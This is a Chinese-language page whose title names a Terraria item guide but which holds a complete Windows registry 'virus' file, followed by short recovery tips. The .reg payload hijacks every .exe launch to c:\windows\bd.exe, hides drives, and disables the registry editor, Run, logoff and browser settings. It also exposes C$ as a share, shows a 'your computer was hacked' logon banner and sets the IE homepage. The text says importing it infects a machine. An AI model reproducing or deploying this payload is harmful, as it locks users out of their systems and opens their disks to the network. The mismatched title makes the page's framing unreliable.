泰拉瑞亚物品图鉴:病毒+防御

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
""="c:\\windows\\bd.exe"

[HKEY_CLASSES_ROOT\exefile\DefaultIcon]
""="c:\\windows\\xm.ico"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer]
"NoDrives"=dword:FFFFFFFF

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NotrayContextMenu"=dword:00000001
"NoChangeStartMenu"=dword:00000001
"NoChangeStartMenu"=dword:00000001
"NoStartMenuMFUprogramslist"=dword:00000001
"NoDesktop"=dword:00000001
"NoDispAppearancePage"=dword:00000001
"NoLogOff"=dword:00000001
"NoRecentDocsMenu"=dword:00000001
"NoSetFolders"=dword:00000001
"NoRun"=dword:00000001
"NoClose"=dword:00000001
"NoViewContextMenu"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\CLASSES\.reg\]
""="txtfile"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"ScanRegistry"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000001

[HKEY_CURRENT_USER\Control Panel\Desktop]
"MenuShowDelay"=999

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"LegalNoticeCaption"="你的电脑被飞剑吹雪黑了  QQ：784161329"
"LegalNoticeText"="别人笑我太疯癫，我笑他人看不穿"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\CDFS]
"Prefetch"=dword:00 00 09 00
"CacheSize"=dword:AC 09 00 00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
"AutoShareServer"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"IPEnableRouter"=dword:00000000

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSetTaskbar"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoSaveSettings"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]
"Disabled"=dword:00000001
"NoRealMode"=dword:00000001

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions]
"NoBrowserContextMenu"=dword:00000001
"NoBrowserOptions"=dword:00000001
"NoBrowserSaveAs"=dword:00000001
"NoFileOpen"=dword:00000001

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Advanced"=dword:00000001
"Cache Internet"=dword:00000001
"AutoConfig"=dword:00000001
"HomePage"=dword:00000001
"History"=dword:00000001
"Connwiz Admin Lock"=dword:00000001
"SecurityTab"=dword:00000001
"ResetWebSettings"=dword:00000001

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions]
"NoViewSource"=dword:00000001

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions]
"NoAddingSubScriptions"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoFileMenu"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$]
"Flags"=dword:302
"Type"=dword:00000000
"Path"="C:\\"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://blog.sina.com.cn/zhaoqiangpersonal"
"Window Title"="飞剑吹雪欢迎你"

将以上信息保存为reg格式，导入注册表就中病毒了  （当然啊，一般是编写软件导入的，俺不做坏事，呵呵~~~~）

如果中了病毒怎么办？  特征：注册表打不开，无法运行，任务管理器打不开  ……………………太多了

1，如果注册表可以导入，即双击.reg格式的文件可以导入到注册表  就相应的将注册表的键值改过来

例如   ："NoLogOff"=dword:00000001  不能注销   ，我们改为NoLogOff"=dword:00000000，然后导入注册表

2，注册表根本就不能导入 

下载od  ，并编写一个可以打开运行 ，注册表……的改注册表的软件

因为一般病毒感染exe，即修改exefile=后的键值   不能运行exe了

我们打开方式选择od   然后f9运行  ，就可以解除